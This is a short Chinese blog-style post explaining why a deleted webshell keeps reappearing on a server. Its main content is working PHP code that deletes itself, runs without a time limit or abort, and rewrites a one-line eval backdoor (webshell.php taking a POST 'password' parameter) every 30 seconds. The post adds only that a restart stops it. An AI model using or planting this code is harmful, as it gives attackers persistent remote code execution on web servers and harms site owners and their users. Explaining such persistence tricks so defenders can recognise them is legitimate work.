杀不死的Webshell

在日常应用中。是否遇到过明明后门都删除完了，可是过一会儿又会出现？感觉就像杀不死一样。。。

那么它们是怎么做到的呢？

看代码：

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while(1){
        file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
        sleep(30);
    }

就这样webshell.php你不管怎么删除，都会自我复活。。。

你也不会在进程中找到异常。。。当然这也不是真的杀不死。。。。。。其实重启一下就好了。。。